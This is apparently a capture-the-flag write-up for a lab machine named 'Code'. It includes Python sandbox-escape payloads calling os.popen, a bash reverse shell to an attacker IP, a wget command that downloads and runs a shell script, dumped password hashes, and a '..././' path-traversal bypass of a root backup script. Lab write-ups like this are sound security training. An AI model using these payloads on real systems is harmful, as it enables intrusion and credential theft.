Code

Writeup of Code machine

Reconnaissance

Port 5000: This TCP port is opened and used by Universal Plug N' Play (UPnP) devices to accept incoming connections from other UPnP devices. UPnP devices connect to each other using TCP protocol over port 5000.

Accessing through the port 5000

https://10.10.11.62:5000 which showed me Python3 Interpreter. I was able to run different codes, and the most interesting part was that it was possible to touch the backend server. After trying many SSTI payloads, I've received successful attempts.

print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("whoami ").re'+'ad()'))

From this point, we can do Remote Code Execute to own app-application

Embedding bash -c 'sh -i >& /dev/tcp/10.10.xx.xx/PORT 0>&1' into shell.sh

Netcat listener nc -lnvp PORT

print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("wget 10.10.xx.xx:8080/shell.sh -O /tmp/shell.sh").re'+'ad()'))

print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("bash /tmp/shell.sh").re'+'ad()'))

The first command retrieves your shell.sh file and moves it to a temporary directory. Then, it executes it. Make sure to start up your python3 http server by running python3 -m http.server 8080

User.txt

user.txt

Root

Back to the web portal, we can list the queries of database using this payload.

print([(user.id, user.username, user.password) for user in User.query.all()])

[(1, 'development', '759b74ce43947f5f4c91aeddc3e5bad3'), (2, 'martin', '3de6f30c4a09c27fc71932bfc68474be')]

Two users found. I unhashed their passwords and tried to login through ssh. As a result, logging in as martin worked.

Use https://crackstation.net/

Initial Access

backy.sh file has a root permission and requiring task.json file prior to execute.

#!/bin/bash
 
if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi
 
json_file="$1"
 
if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi
 
allowed_paths=("/var/" "/home/")
 
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
 
/usr/bin/echo "$updated_json" > "$json_file"
 
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
 
is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}
 
for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done
 
/usr/bin/backy "$json_file"

This Bash script processes a JSON file containing directories to archive. Here's a simplified breakdown of its actions:

  1. Input Validation:

    • It checks if a JSON file is provided. If not, it exits with a usage message.

  2. File Existence Check:

    • It verifies that the specified JSON file exists. If not, it exits with an error.

  3. Directory Processing:

    • The script updates the JSON file to remove any ../ from the directory paths using jq.

  4. Allowed Path Check:

    • It checks that all directories listed in the JSON file are under /var/ or /home/. If any directory is outside these paths, it exits with an error.

  5. Backup:

    • If all checks pass, it runs a backup command (/usr/bin/backy) to archive the directories.

Firstly, change the content of task.json file, which is inside backup directory as follows

{
  "directories_to_archive": [
    "/home/..././root/" 
  ],
  "destination": "/tmp"
}
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

This part of the script uses the jq tool to remove any instances of ../ from the directory paths. However, it doesn’t directly remove ... or ./.

The key action here is:

Bypassing ../: If the directory path contains ../, this part of the script would remove it, preventing potential directory traversal attacks or misconfigurations. But it doesn’t clean up other characters like ./ or ..., which could still cause issues in path validation.

Execute

sudo /usr/bin/backy.sh task.json

Then, go to the /tmp directory to check what you've received.

root.txt

The End!!! 🔚

Thank you!!! 🙏

Last updated